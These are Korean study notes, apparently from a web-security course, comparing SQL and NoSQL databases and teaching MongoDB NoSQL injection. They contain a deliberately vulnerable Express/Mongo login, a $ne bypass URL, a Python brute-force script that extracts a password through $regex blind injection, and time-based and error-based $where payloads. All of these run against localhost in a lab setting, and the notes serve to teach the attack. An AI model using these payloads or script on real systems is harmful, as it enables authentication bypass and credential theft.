RDBMS
: 스키마를 정의하고 해당 규격에 맞는 데이터를 2차원 테이블 형태로 저장
:복잡
:저장해야 하는 데이터가 많아지면 용량의 한계
: 이용자의 입력값을 통해 동적으로 쿼리를 생성해 데이터를 저장 -> SQL Injection 문제
: SQL을 사용해 데이터를 조회 및 추가 그리고 삭제할 수 있음
: SQL이라는 정해진 문법을 통해 데이터를 저장 -> 한 가지의 언어로 다양한 DBMS을 사용할 수 있음
NRDBMS(NoSQL : Not Only SQL)
: 키-값을 사용해 데이터를 저장
: SQL를 사용하지 않고 복잡하지 않은 데이터를 저장해 단순 검색 및 추가 검색 작업을 위해 매우 최적화된 저장 공간
: 이용자의 입력값을 통해 동적으로 쿼리를 생성해 데이터를 저장 -> SQL Injection 문제
: Redis, Dynamo, CouchDB, MongoDB 등 다양한 DBMS가 존재하기 때문에 각각의 구조와 사용 문법을 익혀야
: JSON 형태인 도큐먼트(Document)를 저장
const express = require('express');
const app = express();
app.get('/', function(req,res) {
console.log('data:', req.query.data);
console.log('type:', typeof req.query.data);
res.send('hello world');
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
http://localhost:3000/?data=1234
data: 1234
type: string
http://localhost:3000/?data[]=1234
data: [ '1234' ]
type: object
http://localhost:3000/?data[]=1234&data[]=5678
data: [ '1234', '5678' ]
type: object
http://localhost:3000/?data[5678]=1234
data: { '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data=0000
data: { '5678': '1234', '0000': true }
type: object
http://localhost:3000/?data[5678]=1234&data[]=0000
data: { '0': '0000', '5678': '1234' }
type: object
http://localhost:3000/?data[5678]=1234&data[1111]=0000
data: { '1111': '0000', '5678': '1234' }
type: object
SELECT * FROM inventory WHERE status = "A" and qty < 30;
> db.inventory.find( { $and: [ { status: "A" }, { qty: { $lt: 30 } } ] } )
> $ mongo
> db.user.insert({uid: 'admin', upw: 'secretpassword'})
WriteResult({ "nInserted" : 1 })
> db.user.find({uid: 'admin'})
{ "_id" : ObjectId("5e71d395b050a2511caa827d"), "uid" : "admin", "upw" : "secretpassword" }
SELECT * FROM account;
db.account.find()
SELECT * FROM account WHERE user_id="admin";
db.account.find({user_id: "admin"})
SELECT user_idx FROM account WHERE user_id="admin";
db.account.find({user_id: "admin"}, {user_idx:1, _id:0})
INSERT INTO account(
user_id,
user_pw,
) VALUES ("guest", "guest");
db.account.insert({user_id: "guest", user_pw: "guest"})
DELETE FROM account;
db.account.remove()
DELETE FROM account WHERE user_id="guest";
db.account.remove({user_id: "guest"})
UPDATE account SET user_id="guest2" WHERE user_idx=2;
db.account.update({user_idx: 2}, {$set: {user_id="guest2"}})
GET : 데이터 조회
GET key
MGET : 여러 데이터를 조회
MGET key [key ...]
SET : 새로운 데이터 추가
SET key value
MSET : 여러 데이터를 추가
MSET key value [key value ...]
DEL : 데이터 삭제
DEL key [key ...]
EXISTS : 데이터 유무 확인
EXISTS key [key ...]
INCR : 데이터 값에 1 더함
INCR key
DECR : 데이터 값에 1 뺌
DECR key
INFO : DBMS 정보 조회
INFO [section]
CONFIG GET : 설정 조회
CONFIG GET parameter
CONFIG SET : 새로운 설정을 입력
CONFIG SET parameter value
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
EX) _ 문자로 시작하는 URL, 필드
const express = require('express');
const app = express();
const mongoose = require('mongoose');
const db = mongoose.connection;
mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
app.get('/query', function(req,res) {
db.collection('user').find({
'uid': req.query.uid,
'upw': req.query.upw
}).toArray(function(err, result) {
if (err) throw err;
res.send(result);
});
});
const server = app.listen(3000, function(){
console.log('app.listen');
});
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]
upw에 not equal($ne)연산자를 이용하여 upw값에 상관없이 uid가 "admin"인 데이터를 조회할 수 있습니다.
이용자가 전달한 쿼리의 타입을 검사하지 않아서 취약점이 발생
공격을 막기위해 작성된 filter 함수는 정규 표현식으로 쉽게 우회됨
import requests, string
HOST = 'http://localhost'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
for ch in ALPHANUMERIC:
response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
if response.text == SUCCESS:
flag += ch
break
print(f'FLAG: DH{{{flag}}}')
$expr : 쿼리 언어 내에서 집계 식을 사용할 수 있습니다.
$regex : 지정된 정규식과 일치하는 문서를 선택합니다.
$text : 지정된 텍스트를 검색합니다.
$where : JavaScript 표현식을 만족하는 문서와 일치합니다.
> db.user.find({upw: {$regex: "^a"}})
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
> db.user.find({uid:{$where:"return 1==1"}})
error: {
"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
"code" : 17287
}
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
> db.user.find({$where: "this.upw.substring(0,1)=='b'"})
> db.user.find({$where: "this.upw.substring(0,1)=='c'"})
> db.user.find({$where: "this.upw.substring(0,1)=='g'"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음